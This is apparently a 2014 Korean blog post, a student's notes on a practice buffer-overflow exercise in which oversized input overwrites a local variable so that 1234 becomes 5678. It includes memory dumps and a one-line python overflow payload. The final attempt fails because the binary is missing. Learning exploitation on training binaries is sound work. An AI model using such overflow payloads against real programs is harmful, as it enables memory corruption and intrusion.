ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • simple_bof
    공부/시스템 2014. 3. 21. 18:03

    메모리 값을 변경하는 문제

    1234를 5678로 바꾸면 된다

    jen6@layer7:/home/system_training/simple_bof1$ ./system_train 222
    0xbffff648  00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00   ................
    0xbffff658  00 00 00 00 d2 04 00 00 - 60 87 04 08 00 00 00 00   ........`.......

    [*] BEFORE : the value of target is 1234

    0xbffff648  32 32 32 00 00 00 00 00 - 00 00 00 00 00 00 00 00   222.............
    0xbffff658  00 00 00 00 d2 04 00 00 - 60 87 04 08 00 00 00 00   ........`.......

    [*] AFTER : the value of target is 1234


    실행을 시키면 메모리 덤프를 보여준다

    뭔가 부족하다 조금 더넣어줘 보자

    jen6@layer7:/home/system_training/simple_bof1$ ./system_train 2222222
    0xbffff648  00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00   ................
    0xbffff658  00 00 00 00 d2 04 00 00 - 60 87 04 08 00 00 00 00   ........`.......

    [*] BEFORE : the value of target is 1234

    0xbffff648  32 32 32 32 32 32 32 00 - 00 00 00 00 00 00 00 00   2222222.........
    0xbffff658  00 00 00 00 d2 04 00 00 - 60 87 04 08 00 00 00 00   ........`.......

    [*] AFTER : the value of target is 1234

    과감하게


    jen6@layer7:/home/system_training/simple_bof1$ ./system_train 22222222222222222222222222222222222222222222222222222222222
    0xbffff608  00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00   ................
    0xbffff618  00 00 00 00 d2 04 00 00 - 60 87 04 08 00 00 00 00   ........`.......

    [*] BEFORE : the value of target is 1234

    0xbffff608  32 32 32 32 32 32 32 32 - 32 32 32 32 32 32 32 32   2222222222222222
    0xbffff618  32 32 32 32 32 32 32 32 - 32 32 32 32 32 32 32 32   2222222222222222

    [*] AFTER : the value of target is 842150450
    Segmentation fault (core dumped)

    2런 너무 많이 넣다

    대략 넣다보니

    0xbffff648  00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00   ................
    0xbffff658  00 00 00 00 d2 04 00 00 - 60 87 04 08 00 00 00 00   ........`.......

    빨간부분을 건드리면 조작이 된다



    5678의 hex값을 찾고 리틀인디언을 생각해서

    ./attackme `python -c 'print"B"*20+"\x2e\x16"'`


    jen6@layer7:/home/system_training/simple_bof1$ ./attackme `python -c 'print"B"*20+"\x2e\x16"'`
    -bash: ./attackme: No such file or directory

    ???????

    key file이 없따

    실망











    '공부 > 시스템' 카테고리의 다른 글

    DRAM RowHammer  (0) 2015.03.11
    codegate junior 2014 nuclear  (1) 2014.09.09
    dumpcode.h  (0) 2014.03.24
    simple_bof  (0) 2014.03.21
    system_prob_2  (0) 2014.03.21

    댓글 0

Designed by Tistory.